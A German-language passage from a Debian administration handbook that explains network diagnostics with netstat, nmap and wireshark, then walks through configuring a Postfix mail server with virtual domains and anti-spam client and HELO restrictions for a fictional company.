Wenn eine Netzwerkanwendung nicht erwartungsgemäß läuft, ist es wichtig, unter die Haube schauen zu können. Selbst wenn alles reibungslos zu laufen scheint, kann das Durchführen einer Netzwerk-Diagnose dabei helfen sicherzustellen, dass alles wie vorgesehen funktioniert. Zu diesem Zweck gibt es verschiedene Diagnoseprogramme, von denen jedes auf einer anderen Ebene operiert.

10.8.1. Lokale Diagnose: netstat

Als erstes sei der Befehl netstat genannt (im Paket net-tools); er zeigt eine sofortige Zusammenfassung der Netzaktivitäten eines Rechners. Wenn er ohne Argument aufgerufen wird, listet der Befehl alle offenen Verbindungen auf; diese Liste kann sehr umfangreich sein, da sie viele Unix-Domain-Sockets (üblicherweise von Daemons verwendet) enthält, die in keiner Weise das Netzwerk betreffen (zum Beispiel dbus-Kommunikation, X11-Datenverkehr und Kommunikationen zwischen virtuellen Dateisystemen und der Arbeitsoberfläche).

Normale Aufrufe verwenden daher Optionen, um das Verhalten von netstat zu ändern. Die am häufigsten verwendeten Optionen sind:

- -t, dies filtert die Ergebnisse, so dass nur TCP-Verbindungen erfasst werden;

- -u, dies wirkt ähnlich für UDP-Verbindungen; diese Optionen schließen sich nicht gegenseitig aus, und jede von ihnen reicht aus, das Anzeigen von Unix-Domain-Verbindungen zu unterdrücken;

- -a, um auch die Sockets aufzulisten, die Verbindungen annehmen (auf ankommende Verbindungen warten);

- -n, um die Ergebnisse numerisch anzuzeigen: IP-Adressen (keine DNS-Auflösung), Portnummern (keine in /etc/services festgelegten Aliasse) und Benutzer-IDs (keine Anmeldenamen);

- -p, um die beteiligten Prozesse aufzulisten; diese Option ist nur sinnvoll, wenn netstat mit Administratorrechten ausgeführt wird, da normale Benutzer nur ihre eigenen Prozesse sehen würden;

- -c, um fortlaufend die Liste der Verbindungen aufzufrischen.

Andere Optionen, auf der Handbuchseite netstat(8) dokumentiert, bieten eine noch feinere Kontrolle über die angezeigten Ergebnisse. In der Praxis, werden die fünf ersten Optionen so häufig zusammen benutzt, dass der Befehl netstat -tupan für System- und Netzwerk-Administratoren praktisch zu einem Reflex geworden ist. Typische Ergebnisse auf einem geringfügig ausgelasteten Rechner können wie folgt aussehen:

# netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd
tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4
tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [
tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind
tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4
tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd
udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient
udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind
udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd
udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient
udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r
udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind
udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd
udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd
udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r
udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd
udp6       0      0 :::996                  :::*                                397/rpcbind
udp6       0      0 :::34277                :::*                                407/rpc.statd
udp6       0      0 :::54852                :::*                                916/dhclient
udp6       0      0 :::111                  :::*                                397/rpcbind
udp6       0      0 :::38007                :::*                                451/avahi-daemon: r
udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd
udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd
udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd
udp6       0      0 ::1:123                 :::*                                539/ntpd
udp6       0      0 :::123                  :::*                                539/ntpd
udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

Wie erwartet führt dies die bestehenden Verbindungen auf, in diesem Fall zwei SSH-Verbindungen, und auf ankommende Verbindungen wartende Anwendungen (als LISTEN aufgeführt), insbesondere den Exim4 E-Mailserver, der an Port 25 auf Anfragen wartet.

10.8.2. Entfernte Diagnose: nmap

nmap (in dem Paket ähnlichen Namens) ist in gewisser Weise das entfernte Äquivalent zu netstat. Es kann eine Reihe "allgemein bekannter" Ports für einen oder mehrere entfernte Server scannen und die Ports auflisten, an denen eine Anwendung auf Anfragen wartet. Darüberhinaus kann nmap einige dieser Anwendungen identifizieren, manchmal sogar ihre Versionsnummer. Auf der anderen Seite kann dieses Programm, da es aus der Ferne operiert, keine Informationen über Prozesse oder Benutzer liefern; jedoch kann es an mehreren Zielen gleichzeitig tätig sein.

Ein typischer nmap-Aufruf verwendet nur die Option -A (so dass nmap versucht, die Versionen der Server-Software, die es findet, zu identifizieren), gefolgt von einer oder mehreren IP-Adressen oder DNS-Namen der zu scannenden Rechner. Auch hier gibt es viel mehr Optionen für eine fein eingestellte Kontrolle des Verhaltens von nmap; bitte ziehen Sie die Dokumentation auf der Handbuchseite nmap(1) zu Rate.

# nmap mirtuel

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for mirtuel (192.168.1.242)
Host is up (0.000013s latency).
rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
# nmap -A localhost

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000013s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp  open  smtp    Exim smtpd 4.84
| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          36568/tcp  status
|_  100024  1          39172/udp  status
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.15
Network Distance: 0 hops
Service Info: Host: mirtuel; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Wie erwartet sind die SSH- und Exim4-Anwendungen aufgelistet. Beachten Sie, dass nicht alle Anwendungen an allen IP-Adressen auf Anfragen warten; da Exim4 nur auf der Loopback-Schnittstelle lo erreichbar ist, taucht es nur bei einer Analyse von localhost auf und nicht, wenn mirtuel gescannt wird (das als eth0-Schnittstelle auf demselben Rechners abgebildet wird).

10.8.3. Netzwerk-Sniffer: tcpdump und wireshark

Manchmal ist es erforderlich sich anzusehen, was tatsächlich auf dem Kabel vor sich geht, und zwar Paket für Paket. Diese Fälle verlangen nach einem "Frame-Analysator", besser bekannt als sniffer. Ein derartiges Programm beobachtet alle Pakete, die eine bestimmte Netzwerkschnittstelle erreichen und zeigt sie in einer benutzerfreundlichen Weise an.

Ein altehrwürdiges Werkzeug auf diesem Gebiet ist tcpdump, als Standardprogramm auf vielen Betriebssystemen verfügbar. Es ermöglicht, den Netzwerkverkehr auf viele Arten zu erfassen, jedoch bleibt die Wiedergabe dieses Verkehrs ziemlich unklar. Wir werden es daher nicht in allen Einzelheiten beschreiben.

Ein jüngeres (und moderneres) Programm, wireshark (im Paket wireshark), entwickelte sich aufgrund seiner zahlreichen Entschlüsselungsmodule, die eine vereinfachte Analyse der erfassten Pakete ermöglichen, zur neuen Referenz in der Netzverkehrsanalyse. Die Pakete werden grafisch in einer Gliederung angezeigt, die auf den Protokollschichten beruht. Dies ermöglicht es einem Benutzer, sich ein Bild von allen an einem Paket beteiligten Protokollen zu machen. Zum Beispiel gäbe es ein Paket, das eine HTTP-Anfrage enthält, dann zeigt wireshark getrennt die physikalische Schicht, die Ethernet-Schicht, die IP-Paketinformation, die TCP-Verbindungsparameter und schließlich die HTTP-Anfrage selbst an.

Abbildung 10.1. Der wireshark Netzverkehrsanalysator

In unserem Beispiel werden die SSH-Pakete ausgefiltert (mit dem Filter !tcp.port == 22). Das gerade angezeigte Paket entstammt der HTTP-Schicht.

TIP wireshark ohne grafische Oberfläche: tshark

Für den Fall, dass man keine grafische Oberfläche einsetzen kann oder dies - aus welchen Gründen auch immer - nicht wünscht, gibt es auch eine reine Textversion von wireshark namens tshark (in dem separaten Paket tshark). Die meisten Erfassungs- und Entschlüsselungsfähigkeiten sind noch vorhanden, aber das Fehlen einer grafischen Oberfläche begrenzt notwendigerweise die Interaktionen mit dem Programm (das Filtern von Paketen, nachdem sie erfasst worden sind, das Verfolgen einer bestimmten TCP-Verbindung und so weiter). Es kann dennoch als erster Ansatz benutzt werden. Falls weitere Manipulationen beabsichtigt sind und die grafische Oberfläche erforderlich wird, können die Pakete in einer Datei gespeichert werden, und diese Datei kann in eine grafische Version von wireshark geladen werden, die auf einem anderen Rechner läuft.

Kapitel 11. Netzwerkdienste: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Netzwerkdienste sind die Programme, mit denen Benutzer in ihrer täglichen Arbeit direkt interagieren. Sie sind die Spitze des Eisbergs des Informationssystems, und dieses Kapitel richtet sein Hauptaugenmerk auf sie; die verborgenen Teile, auf denen sie aufbauen, sind die Infrastruktur, die wir bereits besprochen haben.

Viele moderne Netzwerkdienste erfordern Verschlüsselung um zuverlässig und sicher zu funktionieren, besonders wenn diese im öffentlichen Internet verwendet werden. X.509 Zertifikate (die auch SSL Zertifikate oder TLS Zertifikate genannt werden) werden für diesen Zweck häufig eingesetzt. Ein Zertifikat für eine spezielle Domäne kann von mehr als einem in diesem Papier diskutierten Diensten verwendet werden.

11.1. Mail-Server

Die Falcot Corp. Administratoren haben Postfix wegen seiner Zuverlässigkeit und seiner leichten Konfigurierbarkeit als elektronischen Mail-Server gewählt. Sein Design zwingt dazu, jede Aufgabe als Prozess mit dem geringstmöglichen Satz an Berechtigungen umzusetzen, eine gute Vorbeugungsmaßnahme gegen Sicherheitsprobleme.

ALTERNATIVE Der Exim4-Server

Debian verwendet Exim4 standardmäßig als E-Mail-Server (daher enthält die Erstinstallation auch Exim4). Die Konfiguration wird durch ein separates Paket, exim4-config, bereitgestellt und selbsttätig anhand der Antworten auf eine Anzahl von Debconf-Fragen eingerichtet, in ähnlicher Weise wie bei den vom Paket postfix gestellten Fragen.

Die Konfiguration kann sich entweder in einer einzelnen Datei (/etc/exim4/exim4.conf.template) befinden oder über mehrere einzelne Konfigurationsdateien verteilt sein, die unter /etc/exim4/conf.d/ gespeichert sind. In beiden Fällen werden die Dateien von update-exim4.conf als Vorlage benutzt, um /var/lib/exim4/config.autogenerated zu erzeugen. Letztere Datei wird von Exim4 benutzt. Dank diesem Mechanismus können die durch die Debconf-Konfiguration von Exim zur Verfügung gestellten Werte — die in /etc/exim4/update-exim4.conf.conf gespeichert sind — in die Konfigurationsdatei von Exim eingefügt werden, auch dann, wenn ein Administrator oder ein anderes Paket die Standard-Einstellungen verändert hat.

Die Syntax der Exim4-Konfigurationsdatei hat ihre Besonderheiten und erfordert eine Lernphase; sobald man jedoch diese Besonderheiten verstanden hat, ist Exim4 ein sehr umfassender und leistungsstarker E-Mail-Server, wie Dutzende von Dokumentationsseiten zeigen.

→ http://www.exim.org/docs.html

11.1.1. Postfix installieren

Das Paket postfix enthält den Kern des SMTP-Daemons. Andere Pakete (wie postfix-ldap und postfix-pgsql) fügen weitere Funktionsmerkmale zu Postfix hinzu, einschließlich des Zugangs zu Zuordnungsdatenbanken. Sie sollten sie nur installieren, wenn Sie wissen, dass Sie sie benötigen.

ZURÜCK ZU DEN GRUNDLAGEN SMTP

SMTP (Simple Mail Transfer Protocol) ist das von Mail-Servern für den Austausch und die Zustellung von E-Mails verwendete Protokoll.

Während der Installation des Pakets werden mehrere Debconf-Fragen gestellt. Die Antworten ermöglichen es, eine erste Version der Konfigurationsdatei /etc/postfix/main.cf zu erstellen.

Die erste Frage bezieht sich auf die Art der Aufbaus. Nur zwei der vorgeschlagenen Antworten sind im Falle eines mit dem Internet verbundenen Servers relevant, „Internet site“ und „Internet with smarthost“. Die erste ist für einen Server richtig, der eingehende E-Mails empfängt und ausgehende E-Mails direkt an ihre Empfänger verschickt, und ist daher für die Situation der Falcot Corp. gut geeignet. Die zweite ist für einen Server angebracht, der eingehende E-Mails normal empfängt, aber ausgehende E-Mails über einen zwischengeschalteten SMTP-Server - den „smarthost“ - verschickt, statt direkt an den Server des Empfängers. Dies ist meistens für Personen mit einer dynamischen IP-Adresse sinnvoll, da viele E-Mail-Server Nachrichten, die direkt von einer derartigen IP-Adresse kommen, zurückweisen. In diesem Fall ist der Smarthost gewöhnlich der SMTP-Server des ISPs, der stets so konfiguriert ist, dass er E-Mails annimmt, die von den Kunden des ISP kommen, und sie in geeigneter Weise weiterleitet. Dieser Aufbau (mit einem Smarthost) ist auch für Server relevant, die nicht ständig mit dem Internet verbunden sind, da es so nicht erforderlich ist, eine Warteschlange nicht zustellbarer Nachrichten zu verwalten, für die später ein neuer Zustellversuch unternommen werden muss.

WÖRTERVERZEICHNIS ISP

ISP ist die Abkürzung für „Internet Service Provider“. Hiermit ist eine Einrichtung gemeint, in vielen Fällen ein kommerzielles Unternehmen, die Internetverbindungen und damit zusammenhängende grundlegende Dienste (E-Mail, Nachrichten und so weiter) bereitstellt.

Die zweite Frage bezieht sich auf die vollständige Bezeichnung des Rechners, die zur Erstellung von E-Mail-Adressen aus einem lokalen Benutzernamen verwendet wird; die vollständige Bezeichnung des Rechners wird zu dem Teil hinter dem at-Zeichen („@“). Im Falle von Falcot sollte die Antwort mail.falcot.com lauten. Dies ist die einzige standardmäßig gestellte Frage, aber die Konfigurierung, zu der sie führt, ist für die Bedürfnisse von Falcot nicht vollständig genug, weshalb die Administratoren dpkg-reconfigure postfix aufrufen, um so weitere Parameter einstellen zu können.

Eine der zusätzlichen Fragen erkundigt sich nach allen Domain-Namen, die mit diesem Rechner in Zusammenhang stehen. Die Standardliste umfasst seine vollständige Bezeichnung sowie einige Synonyme für localhost, jedoch muss die Hauptdomain falcot.com von Hand hinzugefügt werden. Allgemeiner gesagt sollte diese Frage normalerweise mit allen Domain-Namen beantwortet werden, für die dieser Rechner als MX-Server dienen soll; mit anderen Worten, allen Domain-Namen, für die der DNS angibt, dass dieser Rechner E-Mails annimmt. Diese Information geht in die Variable mydestination der Hauptkonfigurationsdatei von Postfix — /etc/postfix/main.cf — ein.

Abbildung 11.1. Rolle des DNS-MX-Eintrags beim Versenden einer E-Mail

EXTRA Die MX-Einträge abfragen

Wenn im DNS kein MX-Eintrag für eine Domain vorliegt, versucht der E-Mail-Server, die Nachrichten unter Verwendung des passenden A-Eintrags (oder AAAA bei IPv6) an den Host selbst zu schicken.

In manchen Fällen kann während der Installation auch gefragt werden, welchen Netzwerken es erlaubt sein soll, E-Mails über den Rechner zu verschicken. In seiner Standard-Konfiguration akzeptiert Postfix nur E-Mails, die von diesem Rechner selbst kommen; das lokale Netzwerk wird gewöhnlich hinzugefügt. Die Falcot Corp. Administratoren haben 192.168.0.0/16 zur Standardantwort hinzugefügt. Falls diese Frage nicht gestellt wird, ist mynetworks die relevante Variable in der Konfigurationsdatei, wie in unten stehendem Beispiel zu sehen ist.

Lokale E-Mail kann auch durch procmail zugestellt werden. Dieses Programm ermöglicht es Benutzern, ihre ankommende E-Mail nach Regeln, die in der Datei ~/.procmailrc gespeichert sind, zu sortieren.

Nach diesem ersten Schritt verfügen die Administratoren über die folgende Konfigurationsdatei; sie wird als Ausgangspunkt verwendet, um in den nächsten Abschnitten einige weitere Funktionsmerkmale hinzuzufügen.

Beispiel 11.1. Anfängliche /etc/postfix/main.cf-Datei

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name.  The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h

readme_directory = no

# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = mail.falcot.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all

SICHERHEIT Schlangenöl SSL-Zertifikate

Die Schlangenöl-Zertifikate sind, wie die Schlangenöl-„Medizin“, die früher von gewissenlosen Quacksalbern verkauft wurde, völlig wertlos: Man kann sich nicht darauf verlassen dass sie den Server authentifizieren da sie in automatisch erzeugte selbstsignierte Zertifikate sind. Sie können jedoch dazu dienen die Vertraulichkeit des Austausches zu verbessern.

Sie sollten nur zu Testzwecken benutzt werden, während im Normalbetrieb echte Zertifikate verwendet werden müssen; diese können mit dem unter Abschnitt 10.2.1.1, „Public-Key-Infrastrultur: easy-rsa“ beschriebenen Verfahren erstellt werden.

11.1.2. Virtuelle Domains konfigurieren

Der Mail-Server kann außer E-Mails, die an die Hauptdomain adressiert sind, auch solche entgegennehmen, die an andere Domains gerichtet sind. Diese werden dann virtuelle Domains genannt. In den meisten derartigen Fällen sind die E-Mails letztlich nicht für lokale Benutzer bestimmt. Postfix stellt für die Verwendung virtueller Domains zwei interessante Leistungsmerkmale bereit.

VORSICHT Virtuelle und autorisierte Domains

Auf keine der virtuellen Domains darf in der Variablen mydestination verwiesen werden; diese Variable enthält nur die Namen der direkt dem Rechner und seinen lokalen Benutzern zugeordneten „autorisierten“ Domains.

11.1.2.1. Virtuelle Alias-Domains

Eine virtuelle Alias-Domain enthält nur Aliasse, das heißt Adressen, die nur E-Mails an andere Adressen weiterleiten.

Eine derartige Domain wird durch das Hinzufügen ihres Namens zur Variablen virtual_alias_domains und das Eintragen eines Verweises auf eine Adressen-Bezugsdatei in die Variable virtual_alias_maps aktiviert.

Beispiel 11.2. In die Datei /etc/postfix/main.cf einzufügende Anweisungen

virtual_alias_domains = falcotsbrand.com
virtual_alias_maps = hash:/etc/postfix/virtual

Die Datei /etc/postfix/virtual stellt eine Zuordnung in einer recht einfachen Syntax dar: jede Zeile enthält zwei durch Leerzeichen getrennte Felder; das erste Feld ist der Alias-Name, das zweite eine Liste der E-Mail-Adressen, an die er weiterleitet. Die spezielle Syntax @domain.com deckt alle übrigen Aliasse in der Domain ab.

Beispiel 11.3. Beispiel der Datei /etc/postfix/virtual

webmaster@falcotsbrand.com  jean@falcot.com
contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com
# The alias below is generic and covers all addresses within
# the falcotsbrand.com domain not otherwise covered by this file.
# These addresses forward email to the same user name in the
# falcot.com domain.
@falcotsbrand.com           @falcot.com

11.1.2.2. Virtuelle Postfach-Domains

VORSICHT Kombinierte virtuelle Domain?

Postfix erlaubt es nicht, dieselbe Domain sowohl in virtual_alias_domains als auch in virtual_mailbox_domains zu verwenden. Jedoch ist jede Domain in virtual_mailbox_domains stillschweigend auch in virtual_alias_domains erfasst, so dass es möglich ist, Aliasse und Postfächer in einer virtuellen Domain zu kombinieren.

An ein virtuelles Postfach adressierte Nachrichten werden in Postfächern gespeichert, die keinem lokalen Systembenutzer zugeordnet sind.

Um eine virtuelle Postfach-Domain zu aktivieren, ist es erforderlich, diese Domain in der Variablen virtual_mailbox_domains einzutragen und in virtual_mailbox_maps einen Verweis auf eine Mailbox-Bezugsdatei anzugeben. Der Parameter virtual_mailbox_base enthält das Verzeichnis, in dem die Postfächer gespeichert werden.

Der Paramater virtual_uid_maps (beziehungsweise virtual_gid_maps) verweist auf die Datei, die den Bezug zwischen der E-Mail-Adresse und dem Systembenutzer (beziehungsweise der Gruppe) enthält, dem das entsprechende Postfach „gehört“. Um alle Postfächer zusammen fassen zu können, die dem selben Benutzer beziehungsweise der selben Gruppe gehören, weist man mittels der Syntax static:5000 eine feste UID/GID (hier mit dem Wert 5000) zu.

Beispiel 11.4. In die Datei /etc/postfix/main.cf einzufügende Anweisungen

virtual_mailbox_domains = falcot.org
virtual_mailbox_maps = hash:/etc/postfix/vmailbox
virtual_mailbox_base = /var/mail/vhosts

Auch die Syntax der Datei /etc/postfix/vmailbox ist recht einfach: zwei durch Leerzeichen getrennte Felder. Das erste Feld ist eine E-Mail-Adresse innerhalb einer der virtuellen Domains, und das zweite ist der Ort des dazugehörigen Postfachs (relativ zum Verzeichnis, das in virtual_mailbox_base angegeben ist). Falls die Bezeichnung des Postfachs mit einem Schrägstrich (/) endet, werden die E-Mails im maildir-Format gespeichert; anderenfalls wird das traditionelle mbox-Format benutzt. Das maildir-Format verwendet ein ganzes Verzeichnis zur Speicherung eines Postfachs, wobei jede individuelle Nachricht in einer eigenen Datei gespeichert wird. Dagegen ist beim mbox-Format das gesamte Postfach in einer einzigen Datei gespeichert, wobei jede Zeile, die mit „From “ beginnt (From gefolgt von einem Leerzeichen), den Beginn einer neuen Nachricht anzeigt.

Beispiel 11.5. Die Datei /etc/postfix/vmailbox

# Jeans E-Mail ist als maildir gespeichert mit
# einer Datei je E-Mail in einem gesonderten Verzeichnis
jean@falcot.org falcot.org/jean/
# Sophies E-Mail ist in einer traditionellen „mbox“-Datei gespeichert
# mit allen Mails zu einer einzigen Datei verkettet
sophie@falcot.org falcot.org/sophie

11.1.3. Einschränkungen beim Empfangen und Senden

Die wachsende Zahl unerwünschter Massen-E-Mails (spam) macht es erforderlich, bei der Entscheidung, welche E-Mails ein Server annehmen sollte, in zunehmendem Maße strikt zu sein. Dieser Abschnitt zeigt einige der in Postfix enthaltenen Strategien.

KULTUR Das Spam-Problem

„Spam“ ist der allgemeine Begriff zur Bezeichnung all der unerwünschten kommerziellen E-Mails (auch bekannt als UCE = unsolicited commercial email), die unsere elektronischen Postfächer überfluten; die gewissenlosen Individuen, die sie verschicken, werden Spammer genannt. Sie kümmern sich wenig um die Belästigung, die sie verursachen, da das Verschicken einer E-Mail sehr wenig kostet, und es genügt, dass sich nur ein sehr geringer Prozentsatz der Empfänger von diesen Angeboten angezogen fühlt, damit die Spamming-Aktion mehr Geld einbringt als sie kostet. Der Vorgang ist weitgehend automatisiert, und jede E-Mail-Adresse, die öffentlich bekannt gemacht wird (zum Beispiel in einem Web-Forum, den Archiven einer Mailingliste oder einem Blog und so weiter) wird von den Robotern des Spammers entdeckt und einem niemals endenden Strom unerwünschter Nachrichten unterworfen.

Alle System-Administratoren versuchen, dieser Belästigung mit Spamfiltern zu begegnen, aber natürlich passen sich die Spammer an und versuchen, diese Filter zu umgehen. Einige mieten sogar Rechnernetzwerke an, die von diversen kriminellen Banden mit einem Wurm infiziert worden sind. Jüngste Statistiken schätzen, dass bis zu 95% aller über das Internet laufenden E-Mails Spam sind!

11.1.3.1. IP-basierte Zugangsbeschränkungen

Die Anweisung smtpd_client_restrictions bestimmt, welchen Rechnern es erlaubt ist, mit dem E-Mail-Server zu kommunizieren.

Beispiel 11.6. Beschränkungen aufgrund von Client-Adressen

smtpd_client_restrictions = permit_mynetworks,
warn_if_reject reject_unknown_client,
check_client_access hash:/etc/postfix/access_clientip,
reject_rbl_client sbl-xbl.spamhaus.org,
reject_rbl_client list.dsbl.org

Wenn eine Variable wie in oben stehendem Beispiel eine Liste von Regeln enthält, werden diese Regeln der Reihe nach von der ersten bis zur letzten ausgewertet. Jede Regel kann die Nachricht entweder annehmen, zurückweisen oder d. Daher ist die Reihenfolge wichtig, und das Vertauschen zweier Regeln kann zu einem völlig anderen Verhalten führen.

Die Anweisung permit_mynetworks, die als erste Regel verwendet wurde, akzeptiert alle E-Mails, die von einem Rechner im lokalen Netzwerk (wie in der Konfigurationsvariablen mynetworks festgelegt) kommen.

Die zweite Direktive würde normalerweise alle E-Mails zurückweisen, die von Rechnern ohne vollständig gültige DNS-Konfiguration kommen. Solch eine gültige Konfiguration bedeutet, dass die IP-Adresse einem Namen zugeordnet werden kann, und dass dieser Name wiederum der IP-Adresse zugeordnet ist. Diese Beschränkung ist häufig zu strikt, da manche E-Mail-Server keinen umgekehrten DNS für ihre IP-Adresse haben. Dies erklärt, warum die Falcot Administratoren der Direktive reject_unknown_client den Modifikator warn_if_reject vorangestellt haben: dieser Modifikator wandelt die Zurückweisung in eine einfache Warnung um, die in den Protokollen aufgezeichnet wird. Die Administratoren können dann die Anzahl der Nachrichten im Blick behalten, die zurückgewiesen würden, wenn die Regel tatsächlich durchgesetzt würde und später aufgrund dieser Informationen eine Entscheidung treffen, ob sie die Durchsetzung aktivieren wollen.

TIPP access-Tabellen

Die Einschränkungskriterien bestehen unter anderem aus Tabellen, die vom Administrator geändert werden können und Kombinationen aus Absendern, IP-Adressen und erlaubten oder verbotenen Rechnernamen auflisten. Diese Tabellen können aus einer entpackten Kopie der Datei /usr/share/doc/postfix-doc/examples/access.gz erstellt werden. Diese Musterdatei ist in ihren Kommentaren dokumentiert, das heißt, dass jede Tabelle ihre eigene Syntax erläutert.

Die Tabelle /etc/postfix/access_clientip führt IP-Adressen und Netzwerke auf; /etc/postfix/access_helo listet Domain-Namen; /etc/postfix/access_sender enthält E-Mail-Adressen von Absendern. Alle diese Dateien müssen nach jeder Änderung mithilfe des Befehls postmap /etc/postfix/datei in Hash-Tabellen umgewandelt werden (ein Format, das für schnellen Zugriff optimiert ist).

Die dritte Anweisung ermöglicht es dem Administrator, eine schwarze Liste und eine Positivliste von E-Mail-Servern aufzustellen, die in der Datei /etc/postfix/access_clientip abgespeichert werden. Server in der Positivliste gelten als zuverlässig, und die von dort kommenden E-Mails durchlaufen daher nicht die anschließenden Filterregeln.

Die beiden letzten Regeln weisen jede Nachricht zurück, die von einem Server kommt, der in einer der angezeigten schwarzen Listen aufgeführt ist. RBL ist die Abkürzung für Remote Black List; es gibt mehrere derartige Listen, aber alle führen sowohl schlecht konfigurierte Server auf, die von Spammern zur Übermittlung ihrer E-Mails benutzt werden, als auch unerwartete Mail-Übermittler, wie von Würmern oder Viren infizierte Rechner.

TIPP Positivliste und RBLs

Manchmal enthalten schwarze Listen auch seriöse Server, die einen Störfall erlitten haben. In diesem Fall würden alle E-Mails, die von einem dieser Server kommen, zurückgewiesen, es sei denn, der Server ist in einer von /etc/postfix/access_clientip festgelegten Positivliste aufgeführt.

Es empfiehlt sich daher, vernünftigerweise alle seriösen Server, von denen man gewöhnlich zahlreiche E-Mails erhält, in die Positivliste aufzunehmen.

11.1.3.2. Die Gültigkeit der Befehle EHLO und HELO überprüfen

Jeder SMTP-Austausch beginnt mit einem HELO- oder EHLO-Befehl, gefolgt vom Namen des sendenden E-Mail-Servers; es kann interessant sein, die Gültigkeit dieses Namens zu überprüfen.

Beispiel 11.7. Beschränkungen für den in EHLO genannten Namen

smtpd_helo_restrictions = permit_mynetworks,
reject_invalid_hostname,
check_helo_access hash:/etc/postfix/access_helo,
reject_non_fqdn_hostname,
warn_if_reject reject_unknown_hostname

Die erste Anweisung, permit_mynetworks, erlaubt es allen Rechnern des lokalen Netzwerks, sich ungehindert einzuführen. Dies ist wichtig, da einige E-Mail-Programme diesen Teil des SMTP-Protokolls nicht in ausreichendem Maße beachten und sich mit unsinnigen Namen einführen können.

Die Regel reject_invalid_hostname weist E-Mails zurück, wenn die EHLO-Angabe einen syntaktisch unkorrekten Rechnernamen enthält. Die Regel reject_non_fqdn_hostname weist Nachrichten zurück, wenn der angegebene Rechnername kein vollständig ausgewiesener Domain-Name ist (dies schließt einen Domain-Namen wie auch einen Rechnernamen ein). Die Regel reject_unknown_hostname weist Nachrichten zurück, falls es den angegebenen Namen im DNS nicht gibt. Da diese letzte Regel leider zu viele Zurückweisungen zur Folge hat, haben die Administratoren ihre Wirkung mit Hilfe des Modifikators warn_if_reject bis auf Weiteres in eine einfache Warnung umgewandelt; sie können entscheiden, diesen Modifikator später zu entfernen, nachdem sie die Ergebnisse dieser Regel überprüft haben.

